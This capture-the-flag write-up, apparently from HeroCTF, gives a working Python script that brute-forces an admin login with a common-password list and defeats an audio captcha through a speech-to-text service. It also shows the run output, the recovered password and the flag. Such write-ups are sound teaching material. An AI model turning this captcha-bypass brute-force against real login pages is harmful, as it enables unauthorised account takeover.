As the main page suggests, the username is `admin`, and the password is from  
[the 500 worst
passwords](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-
Credentials/500-worst-passwords.txt).  
The only problem is captcha.

A captcha here is an audio file with some digits pronounced in it. Luckily,
there're  
many speech-to-text solutions that can help to break it. I used a free service
[Wit.ai](https://wit.ai/)  
through [SpeechRecognition
package](https://pypi.org/project/SpeechRecognition/), but you may choose
other supported  
recognizers, including `CMU Sphinx` or custom Tensorflow model (both can work
offline).

1) Install necessary dependencies:  
```  
pip3 install beautifulsoup4 requests pydub SpeechRecognition  
```

2) Set and access token and run the exploit:  
```  
% cat brute_sounds.py  
import requests  
from bs4 import BeautifulSoup  
from urllib.parse import unquote  
import base64  
import tempfile  
import speech_recognition as sr  
from tqdm import tqdm  
from pydub import AudioSegment  
import re

rec = sr.Recognizer()

# create an app at wit.ai (it's free), insert it's access token here  
WIT_AI_KEY = '...'

def decode(input):  
""""'123' -> '123'"""  
if re.fullmatch('[0-9]+', input):  
return input

""""'one two three' -> '123'"""  
result = ''  
for e in input.split():  
if e == 'zero':  
result += '0'  
elif e == 'one':  
result += '1'  
elif e == 'two':  
result += '2'  
elif e == 'three':  
result += '3'  
elif e == 'four':  
result += '4'  
elif e == 'five':  
result += '5'  
elif e == 'six':  
result += '6'  
elif e == 'seven':  
result += '7'  
elif e == 'eight':  
result += '8'  
elif e == 'nine':  
result += '9'  
else:  
raise Exception('unknown word `{}`'.format(e))  
return result

def get_passwords():  
r =
requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-
Credentials/500-worst-passwords.txt")  
r.raise_for_status()  
return r.text.split()

def try_password(password, username='admin'):  
print('trying `{}`'.format(password))  
s = requests.Session()  
  
while True:  
r = s.get("http://chall3.heroctf.fr:8082/login")  
r.raise_for_status()  
  
soup = BeautifulSoup(r.text, features="html5lib")  
captcha =
unquote(soup.find_all('source')[0]['src'].split('data:audio/mp3;base64,')[-1])  
captcha_rawdata = base64.decodebytes(captcha.encode())  
  
with tempfile.NamedTemporaryFile(suffix='.mp3', delete=True) as ftemp_mp3:  
ftemp_mp3.write(captcha_rawdata)  
ftemp_mp3.flush()  
""" Converting to WAV because MP3 is not supported by the recognizer """  
with tempfile.NamedTemporaryFile(suffix='.wav', delete=True) as ftemp_wav:  
sound = AudioSegment.from_mp3(ftemp_mp3.name)  
sound.export(ftemp_wav.name, format="wav")  
  
with sr.AudioFile(ftemp_wav.name) as source:  
audio = rec.record(source)

try:  
words_result = rec.recognize_wit(audio, WIT_AI_KEY)  
result = decode(words_result)

print('recognized `{}` as `{}`'.format(words_result, result))

r = s.post("http://chall3.heroctf.fr:8082/login", data={  
'username': username,  
'password': password,  
'pincode': result  
})  
r.raise_for_status()

soup = BeautifulSoup(r.text, features="html5lib")  
errors = soup.find_all('p', {'class': 'status'})  
if not errors:  
return True  
status = errors[-1].contents[0]  
print(status)

if status == 'Invalid pincode':  
continue

if status == 'Invalid login or password':  
return False

return True  
except Exception as e:  
print('Error {}, retrying'.format(e))

if __name__ == '__main__':  
passwords = get_passwords()  
for p in tqdm(passwords):  
if try_password(p):  
print('Bingo, password is `{}`'.format(p))  
exit()

% python3 brute_sounds.py  
... one hour later ...  
Bingo, password is `tomcat`  
```

3) Log in with username `admin`, password `tomcat` and capture the flag:  
![](https://i.imgur.com/lr319DH.png)

The flag is `Hero{4_bit_of_s4lt_with_y0ur_TTS}`.